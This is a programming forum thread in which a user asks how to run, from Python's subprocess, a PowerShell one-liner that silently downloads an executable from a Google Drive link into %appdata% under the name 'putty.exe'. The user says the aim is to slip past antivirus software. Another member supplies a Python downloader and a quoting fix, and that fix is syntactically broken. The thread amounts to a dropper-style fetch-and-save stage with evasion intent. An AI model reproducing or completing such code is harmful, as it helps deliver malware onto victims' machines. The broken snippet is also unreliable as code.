Posts: 104
Threads: 36
Joined: Oct 2017
hello all ...
im trying yo execute this command on my system via powershell :
Quote:powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'myUserAgentString';$cli.DownloadFile('https://drive.google.com/uc?export=download&id=19LJ6Otr9p_stY5MLeEfRnA-jD8xXvK3m', '%appdata%\putty.exe')"
i keeep getting this error SyntaxError: invalid syntax ... the problem from qoutes !!
can u guide me how to execute it and how to deal with multi qoutes ?
my code :
def downloadfile():
down = subprocess.call('powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'myUserAgentString';$cli.DownloadFile('https://drive.google.com/uc?export=download&id=19LJ6Otr9p_stY5MLeEfRnA-jD8xXvK3m', '%appdata%\putty.exe')"')
time.sleep(20)
downloadfile()
Posts: 12,031
Threads: 485
Joined: Sep 2016
Ok,
is this the end goal?
download file: 'https://drive.google.com/uc?export=download&id=19LJ6Otr9p_stY5MLeEfRnA-jD8xXvK3m' ?
if so, why not do the whole thing with python?
Posts: 104
Threads: 36
Joined: Oct 2017
Aug-31-2018, 07:25 AM
(This post was last modified: Aug-31-2018, 07:25 AM by evilcode1.)
(Aug-30-2018, 11:21 PM)Larz60+ Wrote: Ok,
is this the end goal?
download file: 'https://drive.google.com/uc?export=download&id=19LJ6Otr9p_stY5MLeEfRnA-jD8xXvK3m' ?
if so, why not do the whole thing with python? yes right ...
python download library not a friend with antivirus :)
and i need it in command line please
Posts: 12,031
Threads: 485
Joined: Sep 2016
Quote:python download library not a friend with antivirus :)
please elaborate. ? How so
Posts: 104
Threads: 36
Joined: Oct 2017
Aug-31-2018, 11:00 AM
(This post was last modified: Aug-31-2018, 11:00 AM by evilcode1.)
(Aug-31-2018, 10:45 AM)Larz60+ Wrote: Quote:python download library not a friend with antivirus :)
please elaborate. ? How so
Sometimes anti-virus classify this behavior as suspicious because its try to download a program in the background ... but when u use powershell it will pass it because powershell comes with windows by default ( signed by microsoft )
can u help me now to execute the command
Posts: 12,031
Threads: 485
Joined: Sep 2016
Not all firewalls are written by windows.
And Even when I use MS windows, I have never had a problem downloading unless the download site was trying to prevent it.
I tested your url, and had no problem.
to use this, requests must be installed:
pip install requests i used:
import requests
def get_file(url, savefile=None, mode='w'):
response = requests.get(url)
if response.status_code == 200:
if savefile:
with open(savefile, mode) as fp:
fp.write(response.content)
if __name__ == '__main__':
url = 'https://drive.google.com/uc?export=download&id=19LJ6Otr9p_stY5MLeEfRnA-jD8xXvK3m'
get_file(url, 'pink.exe', 'wb')
Posts: 104
Threads: 36
Joined: Oct 2017
(Aug-31-2018, 11:13 AM)Larz60+ Wrote: Not all firewalls are written by windows.
And Even when I use MS windows, I have never had a problem downloading unless the download site was trying to prevent it.
I tested your url, and had no problem.
to use this, requests must be installed:
pip install requests i used:
import requests
def get_file(url, savefile=None, mode='w'):
response = requests.get(url)
if response.status_code == 200:
if savefile:
with open(savefile, mode) as fp:
fp.write(response.content)
if __name__ == '__main__':
url = 'https://drive.google.com/uc?export=download&id=19LJ6Otr9p_stY5MLeEfRnA-jD8xXvK3m'
get_file(url, 'pink.exe', 'wb')
thank u for ur help my brother but i need it via powershell :) i need to run this command on the system :
Quote:powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'myUserAgentString';$cli.DownloadFile('https://drive.google.com/uc?export=download&id=19LJ6Otr9p_stY5MLeEfRnA-jD8xXvK3m', '%appdata%\putty.exe')"
Posts: 12,031
Threads: 485
Joined: Sep 2016
Aug-31-2018, 02:20 PM
(This post was last modified: Aug-31-2018, 02:23 PM by Larz60+.)
By system, I expect you mean command line.
if you modify the python script like:
import requests
import sys
def get_file(url, savefile=None, mode='w'):
response = requests.get(url)
if response.status_code == 200:
if savefile:
with open(savefile, mode) as fp:
fp.write(response.content)
if __name__ == '__main__':
url = sys.argv[1]
save = sys.argv[2]
get_file(url, save, 'wb') save it as getfile.py
now you can run python getfile/py 'url' 'saveas' from the system command line and also be able to call it from
inside another python program by importing getfile, and calling get_file directly
example:
python getfile.py 'https://drive.google.com/uc?export=download&id=19LJ6Otr9p_stY5MLeEfRnA-jD8xXvK3m' pink.exe it will do what you want. for any url and any save name
Posts: 104
Threads: 36
Joined: Oct 2017
Aug-31-2018, 03:20 PM
(This post was last modified: Aug-31-2018, 03:20 PM by evilcode1.)
sorry my brother u did not understand me ...
i need it inside my program not with external arguments
like that ..
import subprocess
def downloadfile():
down = subprocess.call('whoami')
downloadfile() i just need to replace whoami with :
Quote:powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'myUserAgentString';$cli.DownloadFile('https://drive.google.com/uc?export=download&id=19LJ6Otr9p_stY5MLeEfRnA-jD8xXvK3m', '%appdata%\putty.exe')"
but becuase the command have a lot of "" i cant understand how to execute it i keep got : SyntaxError: invalid syntax
i need to execute it from cmd without any external arguments
check the photo
i mean i dont need to download the file by python ... i need to download the file by powershell command executed by python
Posts: 12,031
Threads: 485
Joined: Sep 2016
Aug-31-2018, 03:30 PM
(This post was last modified: Aug-31-2018, 03:33 PM by Larz60+.)
replace:
powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'myUserAgentString';$cli.DownloadFile('https://drive.google.com/uc?export=download&id=19LJ6Otr9p_stY5MLeEfRnA-jD8xXvK3m', '%appdata%\putty.exe')" with:
mycommand = "powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = {};$cli.DownloadFile('https://drive.google.com/uc?export=download&id=19LJ6Otr9p_stY5MLeEfRnA-jD8xXvK3m', '%appdata%\putty.exe')".format(myUserAgentString) then command is:
def downloadfile():
mycommand = "powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = {};$cli.DownloadFile('https://drive.google.com/uc?export=download&id=19LJ6Otr9p_stY5MLeEfRnA-jD8xXvK3m', '%appdata%\putty.exe')".format(myUserAgentString)
down = subprocess.call(mycommand)
time.sleep(20)
downloadfile()
|